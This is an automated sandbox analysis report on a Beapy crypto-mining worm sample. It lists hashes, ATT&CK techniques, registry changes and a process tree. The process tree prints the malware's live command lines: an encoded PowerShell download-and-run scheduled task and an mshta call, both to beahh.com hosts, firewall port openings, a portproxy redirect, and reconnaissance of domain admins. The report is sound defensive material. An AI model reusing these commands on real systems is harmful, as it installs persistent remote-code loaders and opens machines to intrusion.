beapy | d278c3aa58ec53e40450b6316a414cf4440c4de8000e810b1d5a96c1e332b1c6

Analysis

max time kernel
149s
max time network
179s
platform
windows7_x64
resource
win7v20210410
submitted
29-06-2021 15:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

asdfa.exe
Size

6.6MB
MD5

84ff84125412cc31a157f9bde26ece4f
SHA1

3696f153950863249b13ebf02c7059c3c3304530
SHA256

d278c3aa58ec53e40450b6316a414cf4440c4de8000e810b1d5a96c1e332b1c6
SHA512

d0dfcfa397f13e77e276e0d82f64513c9489a1fa776bcfd61f927b1433989832f03cb7597171a8c96f8d1fb4ebb564e3f773f75ec5a5b6f792e63bbaa5bc0072

Score

10^/10

beapy evasion miner worm

Malware Config

Signatures

Beapy
Beapy is a python worm with crypto mining capabilities.
miner worm beapy
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 20 IoCs

pid	Process
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe
1128	asdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2868	schtasks.exe
2764	schtasks.exe
2916	schtasks.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1372	ipconfig.exe
1996	ipconfig.exe
936	netstat.exe

Modifies data under HKEY_USERS 33 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cmd.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WScript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{B155BDF8-02F0-451E-9A26-AE317CFD7779} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000901b04b1fa6cd701	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	WScript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cmd.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 01000000000000001096fab0fa6cd701	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	cmd.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2024	powershell.exe
2024	powershell.exe
2024	powershell.exe
2024	powershell.exe
2024	powershell.exe
2024	powershell.exe
2024	powershell.exe
1128	asdfa.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	364	WMIC.exe
Token: SeSecurityPrivilege	364	WMIC.exe
Token: SeTakeOwnershipPrivilege	364	WMIC.exe
Token: SeLoadDriverPrivilege	364	WMIC.exe
Token: SeSystemProfilePrivilege	364	WMIC.exe
Token: SeSystemtimePrivilege	364	WMIC.exe
Token: SeProfSingleProcessPrivilege	364	WMIC.exe
Token: SeIncBasePriorityPrivilege	364	WMIC.exe
Token: SeCreatePagefilePrivilege	364	WMIC.exe
Token: SeBackupPrivilege	364	WMIC.exe
Token: SeRestorePrivilege	364	WMIC.exe
Token: SeShutdownPrivilege	364	WMIC.exe
Token: SeDebugPrivilege	364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	364	WMIC.exe
Token: SeRemoteShutdownPrivilege	364	WMIC.exe
Token: SeUndockPrivilege	364	WMIC.exe
Token: SeManageVolumePrivilege	364	WMIC.exe
Token: 33	364	WMIC.exe
Token: 34	364	WMIC.exe
Token: 35	364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	364	WMIC.exe
Token: SeSecurityPrivilege	364	WMIC.exe
Token: SeTakeOwnershipPrivilege	364	WMIC.exe
Token: SeLoadDriverPrivilege	364	WMIC.exe
Token: SeSystemProfilePrivilege	364	WMIC.exe
Token: SeSystemtimePrivilege	364	WMIC.exe
Token: SeProfSingleProcessPrivilege	364	WMIC.exe
Token: SeIncBasePriorityPrivilege	364	WMIC.exe
Token: SeCreatePagefilePrivilege	364	WMIC.exe
Token: SeBackupPrivilege	364	WMIC.exe
Token: SeRestorePrivilege	364	WMIC.exe
Token: SeShutdownPrivilege	364	WMIC.exe
Token: SeDebugPrivilege	364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	364	WMIC.exe
Token: SeRemoteShutdownPrivilege	364	WMIC.exe
Token: SeUndockPrivilege	364	WMIC.exe
Token: SeManageVolumePrivilege	364	WMIC.exe
Token: 33	364	WMIC.exe
Token: 34	364	WMIC.exe
Token: 35	364	WMIC.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	936	netstat.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 1128	1656	asdfa.exe	27
PID 1656 wrote to memory of 1128	1656	asdfa.exe	27
PID 1656 wrote to memory of 1128	1656	asdfa.exe	27
PID 1656 wrote to memory of 1128	1656	asdfa.exe	27
PID 1128 wrote to memory of 1812	1128	asdfa.exe	31
PID 1128 wrote to memory of 1812	1128	asdfa.exe	31
PID 1128 wrote to memory of 1812	1128	asdfa.exe	31
PID 1128 wrote to memory of 1812	1128	asdfa.exe	31
PID 1812 wrote to memory of 364	1812	cmd.exe	32
PID 1812 wrote to memory of 364	1812	cmd.exe	32
PID 1812 wrote to memory of 364	1812	cmd.exe	32
PID 1812 wrote to memory of 364	1812	cmd.exe	32
PID 1128 wrote to memory of 1736	1128	asdfa.exe	34
PID 1128 wrote to memory of 1736	1128	asdfa.exe	34
PID 1128 wrote to memory of 1736	1128	asdfa.exe	34
PID 1128 wrote to memory of 1736	1128	asdfa.exe	34
PID 1736 wrote to memory of 1320	1736	cmd.exe	35
PID 1736 wrote to memory of 1320	1736	cmd.exe	35
PID 1736 wrote to memory of 1320	1736	cmd.exe	35
PID 1736 wrote to memory of 1320	1736	cmd.exe	35
PID 1320 wrote to memory of 436	1320	net.exe	36
PID 1320 wrote to memory of 436	1320	net.exe	36
PID 1320 wrote to memory of 436	1320	net.exe	36
PID 1320 wrote to memory of 436	1320	net.exe	36
PID 1128 wrote to memory of 1564	1128	asdfa.exe	37
PID 1128 wrote to memory of 1564	1128	asdfa.exe	37
PID 1128 wrote to memory of 1564	1128	asdfa.exe	37
PID 1128 wrote to memory of 1564	1128	asdfa.exe	37
PID 1564 wrote to memory of 1952	1564	cmd.exe	38
PID 1564 wrote to memory of 1952	1564	cmd.exe	38
PID 1564 wrote to memory of 1952	1564	cmd.exe	38
PID 1564 wrote to memory of 1952	1564	cmd.exe	38
PID 1952 wrote to memory of 672	1952	net.exe	39
PID 1952 wrote to memory of 672	1952	net.exe	39
PID 1952 wrote to memory of 672	1952	net.exe	39
PID 1952 wrote to memory of 672	1952	net.exe	39
PID 1128 wrote to memory of 2024	1128	asdfa.exe	40
PID 1128 wrote to memory of 2024	1128	asdfa.exe	40
PID 1128 wrote to memory of 2024	1128	asdfa.exe	40
PID 1128 wrote to memory of 2024	1128	asdfa.exe	40
PID 1128 wrote to memory of 1536	1128	asdfa.exe	41
PID 1128 wrote to memory of 1536	1128	asdfa.exe	41
PID 1128 wrote to memory of 1536	1128	asdfa.exe	41
PID 1128 wrote to memory of 1536	1128	asdfa.exe	41
PID 1536 wrote to memory of 1372	1536	cmd.exe	42
PID 1536 wrote to memory of 1372	1536	cmd.exe	42
PID 1536 wrote to memory of 1372	1536	cmd.exe	42
PID 1536 wrote to memory of 1372	1536	cmd.exe	42
PID 1128 wrote to memory of 1996	1128	asdfa.exe	43
PID 1128 wrote to memory of 1996	1128	asdfa.exe	43
PID 1128 wrote to memory of 1996	1128	asdfa.exe	43
PID 1128 wrote to memory of 1996	1128	asdfa.exe	43
PID 1128 wrote to memory of 936	1128	asdfa.exe	44
PID 1128 wrote to memory of 936	1128	asdfa.exe	44
PID 1128 wrote to memory of 936	1128	asdfa.exe	44
PID 1128 wrote to memory of 936	1128	asdfa.exe	44
PID 1372 wrote to memory of 1612	1372	rMFcETTH.exe	46
PID 1372 wrote to memory of 1612	1372	rMFcETTH.exe	46
PID 1372 wrote to memory of 1612	1372	rMFcETTH.exe	46
PID 1372 wrote to memory of 1612	1372	rMFcETTH.exe	46
PID 1612 wrote to memory of 2112	1612	cmd.exe	48
PID 1612 wrote to memory of 2112	1612	cmd.exe	48
PID 1612 wrote to memory of 2112	1612	cmd.exe	48
PID 1612 wrote to memory of 2112	1612	cmd.exe	48

C:\Users\Admin\AppData\Local\Temp\asdfa.exe
"C:\Users\Admin\AppData\Local\Temp\asdfa.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Users\Admin\AppData\Local\Temp\asdfa.exe
  "C:\Users\Admin\AppData\Local\Temp\asdfa.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c wmic ntdomain get domainname
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ntdomain get domainname
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:364
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c net localgroup administrators
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1320
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:436
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c net group "domain admins" /domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Windows\SysWOW64\net.exe
      net group "domain admins" /domain
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1952
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 group "domain admins" /domain
        5⤵
        
        PID:672
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ipconfig /all
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:1372
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1996
- - C:\Windows\SysWOW64\netstat.exe
    netstat -na
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:936

C:\Windows\rMFcETTH.exe
C:\Windows\rMFcETTH.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c call "c:\windows\temp\tmp.vbs"
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:1612
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
    3⤵
    - Modifies data under HKEY_USERS
    PID:2112
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo KdKUydP >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\HAEvtAkf.exe&move /y c:\windows\temp\dig.exe c:\windows\pJnVjfC.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn HAEvtAkf /tr "C:\Windows\HAEvtAkf.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\LsKolUj" /tr "c:\windows\pJnVjfC.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pMRBKYMNO"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\pJnVjfC.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\HAEvtAkf.exe"&schtasks /run /TN escan)
      4⤵
      PID:2296
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add portopening tcp 65533 DNSd
        5⤵
        Modifies data under HKEY_USERS
        
        PID:2304
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
        5⤵
        Modifies data under HKEY_USERS
        
        PID:2800
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2764
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn HAEvtAkf /tr "C:\Windows\HAEvtAkf.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2916
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\LsKolUj" /tr "c:\windows\pJnVjfC.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2868

C:\Windows\WWRQkiuz.exe
C:\Windows\WWRQkiuz.exe
1⤵
PID:1876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Account Manipulation

T1098

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Account Manipulation

T1098

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1128-86-0x0000000002480000-0x00000000024FC000-memory.dmp

Filesize
496KB

Download
memory/1128-103-0x0000000000340000-0x0000000000350000-memory.dmp

Filesize
64KB

Download
memory/1128-77-0x0000000000A80000-0x0000000000B35000-memory.dmp

Filesize
724KB

Download
memory/1128-94-0x0000000000200000-0x0000000000210000-memory.dmp

Filesize
64KB

Download
memory/1128-106-0x0000000000390000-0x00000000003A5000-memory.dmp

Filesize
84KB

Download
memory/1128-64-0x0000000074F31000-0x0000000074F33000-memory.dmp

Filesize
8KB

Download
memory/2024-121-0x000000001A9E4000-0x000000001A9E6000-memory.dmp

Filesize
8KB

Download
memory/2024-117-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/2024-124-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

Filesize
4KB

Download
memory/2024-125-0x000000001A9EA000-0x000000001AA09000-memory.dmp

Filesize
124KB

Download
memory/2024-126-0x00000000345F0000-0x00000000345F1000-memory.dmp

Filesize
4KB

Download
memory/2024-116-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp

Filesize
8KB

Download
memory/2024-118-0x000000001AA60000-0x000000001AA61000-memory.dmp

Filesize
4KB

Download
memory/2024-119-0x000000001A9E0000-0x000000001A9E2000-memory.dmp

Filesize
8KB

Download
memory/2024-122-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/2024-120-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download